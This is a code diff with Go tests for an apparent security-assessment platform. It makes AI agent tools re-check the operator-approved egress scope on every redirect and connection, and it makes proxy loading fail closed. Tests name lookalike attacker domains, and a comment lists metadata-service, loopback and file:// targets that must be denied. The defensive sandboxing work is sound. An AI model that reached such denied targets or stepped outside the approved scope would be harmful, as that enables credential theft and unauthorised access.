case "POST /containers/proxy-1/start", "POST /containers/proxy-2/start", "POST /containers/proxy-3/start", "POST /containers/worker-1/start":
w.WriteHeader(http.StatusNoContent)
case "POST /containers/worker-1/exec":
_ = json.NewEncoder(w).Encode(map[string]string{"Id": "exec-1"})
case "POST /exec/exec-1/start":
w.WriteHeader(http.StatusOK)
case "GET /exec/exec-1/json":
_, _ = w.Write([]byte(`{"ExitCode":0,"Running":false}`))
default:
http.NotFound(w, r)
}
}))
t.Cleanup(fake.Close)
transport := b.http.Transport.(*http.Transport)
transport.DialContext = func(ctx context.Context, _, _ string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, "tcp", fake.Listener.Addr().String())
}
t.Cleanup(transport.CloseIdleConnections)
envVal := func(env []string, key string) string {
prefix := key + "="
for _, kv := range env {
if v, ok := strings.CutPrefix(kv, prefix); ok {
return v
}
}
return ""
}
// 1. Initial exec before approval: proxy starts with empty ARTEX_SCOPE_DOMAINS.
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000}); err != nil {
t.Fatalf("Exec #1: %v", err)
}
// 2. Scope approved (root_domain xxx.com): proxy is deleted and recreated with ARTEX_SCOPE_DOMAINS=xxx.com.
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000, ScopeDomains: []string{"xxx.com"}}); err != nil {
t.Fatalf("Exec #2: %v", err)
}
// 3. Scope revoked: proxy is deleted and recreated with empty ARTEX_SCOPE_DOMAINS.
if _, err := b.Exec(ctx, "6", ExecRequest{Argv: []string{"true"}, TimeoutMS: 1000}); err != nil {
t.Fatalf("Exec #3: %v", err)
}
mu.Lock()
defer mu.Unlock()
if workerCreates != 1 {
t.Fatalf("workerCreates = %d, want 1 (proxy should update without recreating worker)", workerCreates)
}
if proxyDeletes != 3 || len(proxyEnvs) != 3 {
t.Fatalf("proxyDeletes=%d len(proxyEnvs)=%d, want 3/3", proxyDeletes, len(proxyEnvs))
}
if got := envVal(proxyEnvs[0], "ARTEX_SCOPE_DOMAINS"); got != "" {
t.Fatalf("initial ARTEX_SCOPE_DOMAINS = %q, want empty", got)
}
approvedDomains := envVal(proxyEnvs[1], "ARTEX_SCOPE_DOMAINS")
if approvedDomains != "xxx.com" {
t.Fatalf("approved ARTEX_SCOPE_DOMAINS = %q, want xxx.com", approvedDomains)
}
if got := envVal(proxyEnvs[2], "ARTEX_SCOPE_DOMAINS"); got != "" {
t.Fatalf("revoked ARTEX_SCOPE_DOMAINS = %q, want empty", got)
}
// Verify artex-egress-proxy's policy builder accepts xxx.com from that env var and denies other domains.
pol, err := NewEgressPolicy("6", ParseCSV(approvedDomains), nil, nil)
if err != nil {
t.Fatalf("NewEgressPolicy: %v", err)
}
pol.Resolver = func(context.Context, string) ([]netip.Addr, error) {
return []netip.Addr{netip.MustParseAddr("203.0.113.10")}, nil
}
if _, err := pol.ResolveAndCheck(ctx, "xxx.com"); err != nil {
t.Fatalf("recreated proxy policy should allow xxx.com: %v", err)
}
if _, err := pol.ResolveAndCheck(ctx, "evil.invalid"); err == nil {
t.Fatalf("recreated proxy policy unexpectedly allowed evil.invalid")
}
}
+3 -3
View File
@@ -11,13 +11,13 @@
# --output-dir where to write (default backups/, relative to the repo root)
#
# The database dump runs inside the postgres compose service, so no psql client
# is needed on the host. Restore:
# is needed on the host. Restore into an empty database:
# gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
# psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
# sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
set -euo pipefail
cd "$(dirname "$0")/.."
usage() { sed -n '2,15p' "$0" | sed 's/^# \?//'; }
usage() { sed -n '2,16p' "$0" | sed -E 's/^# ?//'; }
KEEP=14
OUTPUT_DIR="backups"
+30 -8
View File
@@ -729,8 +729,15 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
// and to every connection (see sandboxHTTPTransport); a refusal is final,
// there is no direct fallback.
var sbPolicy *sandbox.EgressPolicy
var policyFn func(context.Context) *sandbox.EgressPolicy
if agent.SandboxRequired() {
sbPolicy = agent.SandboxEgressPolicy(ctx)
policyFn = func(callCtx context.Context) *sandbox.EgressPolicy {
if _, ok := agent.SandboxRunInfoFromContext(callCtx); ok {
return agent.SandboxEgressPolicy(callCtx)
}
return agent.SandboxEgressPolicy(ctx)
}
sbPolicy = policyFn(ctx)
if err := sbPolicy.CheckURL(ctx, rawURL); err != nil {
return actool.Errorf("sandbox http tool blocked: " + err.Error()), nil
}
@@ -778,7 +785,7 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
client.CheckRedirect = assessmentRedirectCheck(client.CheckRedirect)
}
if sbPolicy != nil {
client.CheckRedirect = sandboxRedirectCheck(sbPolicy, client.CheckRedirect)
client.CheckRedirect = sandboxRedirectCheck(policyFn, client.CheckRedirect)
}
if secretOrigin != "" {
client.CheckRedirect = secretOriginRedirectCheck(secretOrigin, client.CheckRedirect)
@@ -789,7 +796,7 @@ func (s *Server) runHTTPTool(ctx context.Context, key string, execRaw json.RawMe
var base http.RoundTripper = http.DefaultTransport
tr := s.httpToolTransport(ctx, key, spec)
if sbPolicy != nil {
tr = sandboxHTTPTransport(tr, sbPolicy)
tr = sandboxHTTPTransport(tr, policyFn)
}
if tr != nil {
base = tr
@@ -930,9 +937,15 @@ func assessmentRedirectCheck(check func(*http.Request, []*http.Request) error) f
// sandboxRedirectCheck refuses a redirect hop to a URL the task's egress policy
// does not allow, before check runs: the call fails instead of following it.
func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
// The policy is resolved on every hop, so an approval or a revocation that lands
// while the call is in flight applies to the redirect it governs.
func sandboxRedirectCheck(policy func(context.Context) *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
return func(req *http.Request, via []*http.Request) error {
if err := policy.CheckURL(req.Context(), req.URL.String()); err != nil {
pol := policy(req.Context())
if pol == nil {
return errors.New("sandbox http tool blocked redirect: missing task egress policy")
}
if err := pol.CheckURL(req.Context(), req.URL.String()); err != nil {
return fmt.Errorf("sandbox http tool blocked redirect: %w", err)
}
return check(req, via)
@@ -945,8 +958,10 @@ func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request
// with a proxy, the proxy is the connection checked; a direct call drops the
// environment proxy so the dialer sees the target, and keeps the pinned dialer
// of a gated scope underneath. Keep-alive is off on every one of them, proxy or
// not: no connection outlives the call it was checked for.
func sandboxHTTPTransport(tr *http.Transport, policy *sandbox.EgressPolicy) *http.Transport {
// not: no connection outlives the call it was checked for. The policy is
// resolved on every dial, like the redirect check, so a scope change while the
// call is in flight is enforced on the next connection.
func sandboxHTTPTransport(tr *http.Transport, policy func(context.Context) *sandbox.EgressPolicy) *http.Transport {
if tr == nil {
base, ok := http.DefaultTransport.(*http.Transport)
if !ok {
@@ -956,7 +971,14 @@ func sandboxHTTPTransport(tr *http.Transport, policy *sandbox.EgressPolicy) *htt
tr.Proxy = nil
}
tr.DisableKeepAlives = true
tr.DialContext = agent.SandboxScopeDialContext("http tool", policy, tr.DialContext)
baseDial := tr.DialContext
tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {
pol := policy(ctx)
if pol == nil {
return nil, errors.New("sandbox http tool blocked: missing task egress policy")
}
return agent.SandboxScopeDialContext("http tool", pol, baseDial)(ctx, network, addr)
}
return tr
}
+1 -1
View File
@@ -92,7 +92,7 @@ func TestSandboxHTTPTransportKeepAlivesOff(t *testing.T) {
{"operator proxy, gate on", gateOn, httpExec{URL: direct, Proxy: "127.0.0.1:8080"}},
{"recording proxy via the global proxy", context.Background(), httpExec{URL: direct, UseRecordingProxy: true}},
} {
tr := sandboxHTTPTransport(s.httpToolTransport(c.ctx, "probe", c.spec), policy)
tr := sandboxHTTPTransport(s.httpToolTransport(c.ctx, "probe", c.spec), func(context.Context) *sandbox.EgressPolicy { return policy })
if tr == nil || tr.DialContext == nil {
t.Fatalf("%s: transport %+v, want one with the sandbox dialer", c.name, tr)
}
+55
View File
@@ -0,0 +1,55 @@
package server
import (
"context"
"errors"
"net"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/Autumn-27/artex/sandbox"
)
// A scope approval or revocation that lands while an http tool call is in
// flight must apply to the redirect hop and to the next connection, not only to
// the next call: the policy is resolved on every hop and every dial.
func TestSandboxCustomToolResolvesScopePerHopAndDial(t *testing.T) {
allowed, err := sandbox.NewEgressPolicy("tool", nil, []string{"127.0.0.1/32"}, nil)
if err != nil {
t.Fatal(err)
}
revoked, err := sandbox.NewEgressPolicy("tool", nil, nil, nil)
if err != nil {
t.Fatal(err)
}
current := allowed
resolve := func(context.Context) *sandbox.EgressPolicy { return current }
hop := func(url string) error {
check := sandboxRedirectCheck(resolve, func(*http.Request, []*http.Request) error { return nil })
return check(httptest.NewRequest(http.MethodGet, url, nil), nil)
}
if err := hop("http://127.0.0.1/next"); err != nil {
t.Fatalf("allowed redirect refused: %v", err)
}
current = revoked
if err := hop("http://127.0.0.1/secret"); err == nil || !strings.Contains(err.Error(), "egress denied") {
t.Fatalf("redirect after revocation = %v, want egress denied", err)
}
// Every connection re-resolves too: the next dial sees the revocation.
baseDialed := false
tr := sandboxHTTPTransport(&http.Transport{DialContext: func(context.Context, string, string) (net.Conn, error) {
baseDialed = true
return nil, errors.New("base dial reached")
}}, resolve)
_, err = tr.DialContext(context.Background(), "tcp", "127.0.0.1:80")
if err == nil || !strings.Contains(err.Error(), "egress denied") {
t.Fatalf("dial after revocation = %v, want egress denied", err)
}
if baseDialed {
t.Fatal("a revoked target reached the base dialer")
}
}
+8 -1
View File
@@ -217,7 +217,14 @@ func (e *Engine) withTaskSandbox(ctx context.Context, taskID string) context.Con
if e.m != nil {
pg = e.m.pg
}
return agent.WithSandboxRunInfo(ctx, taskSandboxRunInfo(pg, e.sandboxDataDir, taskID))
info := taskSandboxRunInfo(pg, e.sandboxDataDir, taskID)
if pg != nil {
info.ResolveScope = func() ([]string, []string) {
fresh := taskSandboxRunInfo(pg, e.sandboxDataDir, taskID)
return fresh.ScopeDomains, fresh.ScopeCIDRs
}
}
return agent.WithSandboxRunInfo(ctx, info)
}
// Pause stops a task: marks it paused AND cancels any in-flight planner/worker run
+7 -1
View File
@@ -37,10 +37,16 @@ func (s *Server) retestSandboxContext(ctx context.Context, r *db.FindingRetest)
}
var info agent.SandboxRunInfo
if f.TaskID != nil {
info, err = taskSandboxRunInfoChecked(s.m.pg, s.m.dir, strconv.FormatInt(*f.TaskID, 10))
srcTaskID := strconv.FormatInt(*f.TaskID, 10)
info, err = taskSandboxRunInfoChecked(s.m.pg, s.m.dir, srcTaskID)
if err != nil {
return ctx, cleanup, fmt.Errorf("load retest egress scope: %w", err)
}
pg, dir := s.m.pg, s.m.dir
info.ResolveScope = func() ([]string, []string) {
fresh := taskSandboxRunInfo(pg, dir, srcTaskID)
return fresh.ScopeDomains, fresh.ScopeCIDRs
}
}
info.TaskID = "retest-" + strconv.FormatInt(*r.ConversationID, 10)
info.TaskDir = filepath.Join(s.m.dir, "tasks", info.TaskID)
+38 -13
View File
@@ -493,6 +493,12 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
dir: dir, pg: pg, assets: pg.Assets(), tasks: map[string]*Task{}, interceptor: intercept.New(pg),
taskUserAgents: cfg.TaskUserAgents,
}
// Load the global egress proxy before starting listeners so a read error
// fails closed instead of silently serving direct egress.
if err := m.loadGlobalProxy(pg); err != nil {
_ = pg.Close()
return nil, err
}
// Behind any proxy in the path (the recording proxy, the global egress proxy,
// or a custom tool's own proxy) the proxy chooses the address, so a target
// approval is name-only.
@@ -527,6 +533,11 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
m.traffic = tr
m.reloadRewriteRules() // in place before the proxy accepts a connection
m.reloadTamperHooks() // opt-in behind ARTEX_TAMPER_HOOKS_ENABLED=1
if err := m.traffic.SetUpstreamProxy(m.globalProxy); err != nil {
// Neither the stored value nor err (which quotes it) is logged: both
// can carry the proxy credentials.
log.Printf("[proxy] global proxy %q invalid, ignored; set it again in Settings (shown without credentials, empty when it cannot be parsed)", proxyWithoutCredentials(m.globalProxy))
}
if scfg, ok := traffic.SOCKS5ConfigFromEnv(); ok {
scfg.DialContext = m.interceptor.DialSOCKS5
scfg.ResolveUDP4 = m.interceptor.ResolveUDP4
@@ -578,19 +589,6 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
if v, ok, _ := pg.GetSetting(settingWebSearchProxy); ok {
m.webSearchProxy = v
}
// Global egress proxy (default: direct). When capture is on, feed it to the
// MITM as its upstream so recorded traffic exits through it; when capture is
// off, ProxyAddr hands it to agents directly (bash env / WebFetch).
if v, ok, _ := pg.GetSetting(settingGlobalProxy); ok {
m.globalProxy = strings.TrimSpace(v)
}
if m.traffic != nil {
if err := m.traffic.SetUpstreamProxy(m.globalProxy); err != nil {
// Neither the stored value nor err (which quotes it) is logged: both
// can carry the proxy credentials.
log.Printf("[proxy] global proxy %q invalid, ignored; set it again in Settings (shown without credentials, empty when it cannot be parsed)", proxyWithoutCredentials(m.globalProxy))
}
}
m.enrich = enrich.New(m.assets, m.ProxyAddr, 4)
// Panel-side asset probes are agent-triggered: while the sandbox is required,
// they leave through the task's sandbox egress policy, as WebFetch and custom
@@ -986,6 +984,33 @@ func (m *Manager) ProxyCACert() string {
return m.traffic.CACertPath()
}
// globalProxyReader is the slice of *db.DB needed to load global_proxy at
// manager startup, kept small so load failures are unit-testable without Postgres.
type globalProxyReader interface {
GetSetting(key string) (value string, ok bool, err error)
}
// loadGlobalProxy reads settingGlobalProxy from g and updates m.globalProxy.
// An absent setting clears m.globalProxy to direct egress; a read error leaves
// m.globalProxy untouched and fails closed so startup never falls back to direct.
func (m *Manager) loadGlobalProxy(g globalProxyReader) error {
if g == nil {
return fmt.Errorf("read %s: nil settings store", settingGlobalProxy)
}
v, ok, err := g.GetSetting(settingGlobalProxy)
if err != nil {
return fmt.Errorf("read %s: %w", settingGlobalProxy, err)
}
m.mu.Lock()
if ok {
m.globalProxy = strings.TrimSpace(v)
} else {
m.globalProxy = ""
}
m.mu.Unlock()
return nil
}
// GlobalProxy returns the configured global egress proxy URL (empty = direct).
func (m *Manager) GlobalProxy() string {
m.mu.RLock()
+83
View File
@@ -0,0 +1,83 @@
package server
import (
"errors"
"strings"
"testing"
)
type fakeGlobalProxyReader struct {
val string
ok bool
err error
}
func (f fakeGlobalProxyReader) GetSetting(key string) (string, bool, error) {
if key != settingGlobalProxy {
return "", false, errors.New("unexpected setting key: " + key)
}
return f.val, f.ok, f.err
}
func TestManagerLoadGlobalProxyErrorFailsClosed(t *testing.T) {
dbErr := errors.New("dial tcp 127.0.0.1:5432: connect: connection refused")
m := &Manager{globalProxy: "http://user:s3cr3t@proxy.corp:3128"}
err := m.loadGlobalProxy(fakeGlobalProxyReader{err: dbErr})
if err == nil {
t.Fatalf("loadGlobalProxy returned nil error on GetSetting failure; globalProxy=%q ProxyAddr=%q", m.GlobalProxy(), m.ProxyAddr())
}
if !errors.Is(err, dbErr) {
t.Fatalf("error = %v, want wrapped %v", err, dbErr)
}
if !strings.Contains(err.Error(), settingGlobalProxy) {
t.Fatalf("error %q should name %q", err.Error(), settingGlobalProxy)
}
if strings.Contains(err.Error(), "s3cr3t") || strings.Contains(err.Error(), "proxy.corp") {
t.Fatalf("error leaked proxy credentials or host: %q", err.Error())
}
if got := m.GlobalProxy(); got != "http://user:s3cr3t@proxy.corp:3128" {
t.Fatalf("failed read overwrote existing globalProxy with %q", got)
}
// Fresh manager must also fail closed rather than silently defaulting to direct.
fresh := &Manager{}
if err := fresh.loadGlobalProxy(fakeGlobalProxyReader{err: dbErr}); err == nil {
t.Fatalf("fresh manager loadGlobalProxy returned nil error on GetSetting failure; ProxyAddr=%q", fresh.ProxyAddr())
}
}
func TestManagerLoadGlobalProxyUnsetClearsToDirect(t *testing.T) {
m := &Manager{globalProxy: "http://old.corp:3128"}
if err := m.loadGlobalProxy(fakeGlobalProxyReader{}); err != nil {
t.Fatalf("loadGlobalProxy(unset) = %v, want nil", err)
}
if got := m.GlobalProxy(); got != "" {
t.Fatalf("GlobalProxy() = %q, want empty (direct)", got)
}
if got := m.ProxyAddr(); got != "" {
t.Fatalf("ProxyAddr() = %q, want empty (direct)", got)
}
}
func TestManagerLoadGlobalProxyValidTrimsWhitespace(t *testing.T) {
m := &Manager{}
raw := " http://user:s3cr3t@proxy.corp:3128 "
want := "http://user:s3cr3t@proxy.corp:3128"
if err := m.loadGlobalProxy(fakeGlobalProxyReader{val: raw, ok: true}); err != nil {
t.Fatalf("loadGlobalProxy(valid) = %v, want nil", err)
}
if got := m.GlobalProxy(); got != want {
t.Fatalf("GlobalProxy() = %q, want %q", got, want)
}
if got := m.ProxyAddr(); got != want {
t.Fatalf("ProxyAddr() = %q, want %q", got, want)
}
}
func TestManagerLoadGlobalProxyNilStoreFailsClosed(t *testing.T) {
m := &Manager{}
if err := m.loadGlobalProxy(nil); err == nil {
t.Fatal("loadGlobalProxy(nil) returned nil, want error")
}
}
+290
View File
@@ -0,0 +1,290 @@
package server
import (
"context"
"database/sql"
"database/sql/driver"
"encoding/json"
"errors"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync"
"sync/atomic"
"testing"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/sandbox"
actool "github.com/Autumn-27/norma/tool"
)
type fakeScopeRow struct {
taskID int64
kind string
domain string
netStr string
value string
companyID int64
expanded bool
approvedByOperator bool
}
type fakeScopeDB struct {
mu sync.Mutex
rows []fakeScopeRow
}
func (f *fakeScopeDB) setApproved(taskID int64, domain string, approved bool) {
f.mu.Lock()
defer f.mu.Unlock()
for i := range f.rows {
if f.rows[i].taskID == taskID && f.rows[i].domain == domain {
f.rows[i].approvedByOperator = approved
}
}
}
func (f *fakeScopeDB) Connect(context.Context) (driver.Conn, error) {
return &fakeScopeConn{store: f}, nil
}
func (f *fakeScopeDB) Driver() driver.Driver { return fakeScopeDriver{} }
type fakeScopeDriver struct{}
func (fakeScopeDriver) Open(string) (driver.Conn, error) {
return nil, errors.New("fakeScopeDriver must be opened through Connector")
}
type fakeScopeConn struct {
store *fakeScopeDB
}
func (c *fakeScopeConn) Prepare(string) (driver.Stmt, error) {
return nil, errors.New("not supported")
}
func (c *fakeScopeConn) Close() error { return nil }
func (c *fakeScopeConn) Begin() (driver.Tx, error) { return nil, errors.New("not supported") }
func (c *fakeScopeConn) QueryContext(_ context.Context, query string, args []driver.NamedValue) (driver.Rows, error) {
c.store.mu.Lock()
defer c.store.mu.Unlock()
if strings.Contains(query, "FROM task_scope ") {
var tid int64
if len(args) > 0 {
if v, ok := args[0].Value.(int64); ok {
tid = v
}
}
var out [][]driver.Value
for _, r := range c.store.rows {
if r.taskID == tid && r.approvedByOperator && !r.expanded {
out = append(out, []driver.Value{
r.kind,
r.domain,
r.netStr,
r.value,
r.companyID,
})
}
}
return &fakeScopeRows{
cols: []string{"kind", "domain", "net", "value", "company_id"},
data: out,
}, nil
}
if strings.Contains(query, "FROM task_intercept_rules") {
return &fakeScopeRows{
cols: []string{"kind", "pattern"},
}, nil
}
return &fakeScopeRows{cols: []string{"kind", "value"}}, nil
}
type fakeScopeRows struct {
cols []string
data [][]driver.Value
idx int
}
func (r *fakeScopeRows) Columns() []string { return r.cols }
func (r *fakeScopeRows) Close() error { return nil }
func (r *fakeScopeRows) Next(dest []driver.Value) error {
if r.idx >= len(r.data) {
return io.EOF
}
copy(dest, r.data[r.idx])
r.idx++
return nil
}
func openFakeScopePG(t *testing.T, initial []fakeScopeRow) (*db.DB, *fakeScopeDB) {
t.Helper()
store := &fakeScopeDB{rows: append([]fakeScopeRow(nil), initial...)}
sqlDB := sql.OpenDB(store)
t.Cleanup(func() { _ = sqlDB.Close() })
return &db.DB{DB: sqlDB}, store
}
// TestEngineTaskSandboxRefreshesApprovedRootDomainMidRun reproduces #968:
// an intent/round starts with an unapproved root_domain row in task_scope, and
// the operator subsequently approves it without restarting the task. Bash
// (ExecInSandbox), WebFetch, sharedBrowserTool, and custom HTTP tools sharing
// the in-flight context must pick up the newly approved domain immediately (and
// drop it again if revoked).
func TestEngineTaskSandboxRefreshesApprovedRootDomainMidRun(t *testing.T) {
prev := agent.CurrentSandboxExecutor()
t.Cleanup(func() { agent.SetSandboxExecutor(prev) })
stub := &stubSandboxClient{
execResp: sandbox.ExecResponse{ExitCode: 0, Stdout: "ok"},
}
agent.SetSandboxExecutor(&agent.SandboxExecutor{
Mode: sandbox.ModeRequired,
Runner: stub,
})
pg, store := openFakeScopePG(t, []fakeScopeRow{
{
taskID: 6,
kind: "root_domain",
domain: "xxx.com",
approvedByOperator: false,
},
{
taskID: 6,
kind: "ip",
netStr: "127.0.0.1/32",
approvedByOperator: true,
},
})
e := NewEngine(&Manager{pg: pg})
e.SetSandbox(stub, sandbox.ModeRequired, t.TempDir())
// Freeze-avoidance test: ctx is created once when the intent/round begins.
baseCtx := e.withTaskSandbox(context.Background(), "6")
var proxyHits atomic.Int32
proxySrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
proxyHits.Add(1)
if r.URL.String() == "http://xxx.com/redir-ok" {
http.Redirect(w, r, "http://sub.xxx.com/probe", http.StatusFound)
return
}
if r.URL.String() == "http://xxx.com/redir-evil" {
http.Redirect(w, r, "http://evil-xxx.com/probe", http.StatusFound)
return
}
_, _ = w.Write([]byte("PROXIED_BODY"))
}))
t.Cleanup(proxySrv.Close)
ctx := sandbox.WithResolver(baseCtx, dnsTable(map[string][]string{
"xxx.com": {"203.0.113.10"},
"sub.xxx.com": {"203.0.113.10"},
"evil-xxx.com": {"203.0.113.66"},
"other.invalid": {"203.0.113.77"},
}))
wf := agent.NewWebFetchTool(ctx, proxySrv.URL, "")
browserCalls := 0
browser := &sharedBrowserTool{
CoreTool: actool.Build(actool.Spec{
Name: "browser_navigate",
Description: "navigate",
Run: func(_ context.Context, _ json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
browserCalls++
return actool.Text("NAVIGATED"), nil
},
}),
}
httpSpec, _ := json.Marshal(map[string]any{
"method": "GET",
"url": "http://xxx.com/probe",
"proxy": proxySrv.URL,
})
wfInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/probe"})
wfSubInput, _ := json.Marshal(map[string]any{"url": "http://sub.xxx.com/probe"})
wfRedirOKInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/redir-ok"})
wfRedirEvilInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/redir-evil"})
wfLookalikeInput, _ := json.Marshal(map[string]any{"url": "http://evil-xxx.com/probe"})
browserInput, _ := json.Marshal(map[string]any{"url": "https://xxx.com/app"})
// 1. Before operator approval: xxx.com must NOT be in ScopeDomains and all tools must deny it.
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
t.Fatalf("ExecInSandbox before approval: %v", err)
}
if len(stub.execs) != 1 || len(stub.execs[0].ScopeDomains) != 0 {
t.Fatalf("expected empty ScopeDomains before approval, got %+v", stub.execs[0].ScopeDomains)
}
if res, err := wf.Call(ctx, wfInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("WebFetch before approval: res=%+v err=%v", res, err)
}
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("sharedBrowser before approval: res=%+v err=%v", res, err)
}
if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("runHTTPTool before approval: res=%+v err=%v", res, err)
}
if proxyHits.Load() != 0 || browserCalls != 0 {
t.Fatalf("unapproved domain leaked outbound traffic: proxyHits=%d browserCalls=%d", proxyHits.Load(), browserCalls)
}
// 2. Operator approves root_domain xxx.com while the same intent/round ctx is active.
store.setApproved(6, "xxx.com", true)
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
t.Fatalf("ExecInSandbox after approval: %v", err)
}
if len(stub.execs) != 2 || len(stub.execs[1].ScopeDomains) != 1 || stub.execs[1].ScopeDomains[0] != "xxx.com" {
t.Fatalf("ExecInSandbox did not pick up newly approved root_domain xxx.com: got %+v", stub.execs[1].ScopeDomains)
}
for name, payload := range map[string]json.RawMessage{
"apex": wfInput,
"subdomain": wfSubInput,
"redirect": wfRedirOKInput,
} {
res, err := wf.Call(ctx, payload, &actool.ToolContext{})
if err != nil || res.IsError || !strings.Contains(res.Flatten(), "PROXIED_BODY") {
t.Fatalf("WebFetch (%s) after approval failed on same session tool: isErr=%v text=%q err=%v", name, res.IsError, res.Flatten(), err)
}
}
if res, err := wf.Call(ctx, wfRedirEvilInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "sandbox WebFetch blocked redirect") {
t.Fatalf("WebFetch out-of-scope redirect should remain blocked, got isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
}
if res, err := wf.Call(ctx, wfLookalikeInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("WebFetch lookalike domain should remain blocked, got isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
}
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || res.IsError || res.Flatten() != "NAVIGATED" {
t.Fatalf("sharedBrowser after approval failed: isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
}
if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || res.IsError || !strings.Contains(res.Flatten(), "PROXIED_BODY") {
t.Fatalf("runHTTPTool after approval failed: isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
}
// 3. Operator revokes xxx.com while the same intent/round ctx is active: must fail closed again.
store.setApproved(6, "xxx.com", false)
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
t.Fatalf("ExecInSandbox after revocation: %v", err)
}
if len(stub.execs) != 3 || len(stub.execs[2].ScopeDomains) != 0 {
t.Fatalf("ExecInSandbox retained revoked domain: %+v", stub.execs[2].ScopeDomains)
}
if res, err := wf.Call(ctx, wfInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("WebFetch retained revoked domain: res=%+v err=%v", res, err)
}
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("sharedBrowser retained revoked domain: res=%+v err=%v", res, err)
}
if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
t.Fatalf("runHTTPTool retained revoked domain: res=%+v err=%v", res, err)
}
}
+1 -1
View File
@@ -154,7 +154,7 @@ func (t *sharedBrowserTool) Call(ctx context.Context, in json.RawMessage, tc *ac
// blocks non-scope IPs, IMDS, loopback, RFC1918, non-scope domains, and
// dangerous schemes like file:// or chrome://).
func sandboxCheckBrowserInput(ctx context.Context, toolName string, raw json.RawMessage) error {
info, _ := agent.SandboxRunInfoFromContext(ctx)
info, _ := agent.ResolveSandboxRunInfo(ctx)
policy, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
if err != nil {
return fmt.Errorf("invalid task egress policy: %w", err)
+6
View File
@@ -56,3 +56,9 @@ test("formatShortDateTime honours the seconds, year and empty options", () => {
assert.equal(formatShortDateTime("", { empty: "—" }), "—");
assert.equal(formatShortDateTime(undefined), "");
});
test("formatBytes moves to the next unit instead of rounding up to 1024.0", () => {
assert.equal(formatBytes(1024 ** 2 - 1), "1.0 MB");
assert.equal(formatBytes(1024 ** 3 - 1), "1.0 GB");
assert.equal(formatBytes(1023), "1023 B");
});
+2 -1
View File
@@ -10,7 +10,8 @@ export function formatBytes(bytes: number | null | undefined, { empty = "0 B" }:
if (bytes == null || !Number.isFinite(bytes) || bytes <= 0) return empty;
let value = bytes;
let unit = 0;
while (value >= 1024 && unit < BYTE_UNITS.length - 1) {
// From 1023.95 the one-decimal value would round up to "1024.0", so move to the next unit there.
while (value >= (unit === 0 ? 1024 : 1023.95) && unit < BYTE_UNITS.length - 1) {
value /= 1024;
unit++;
}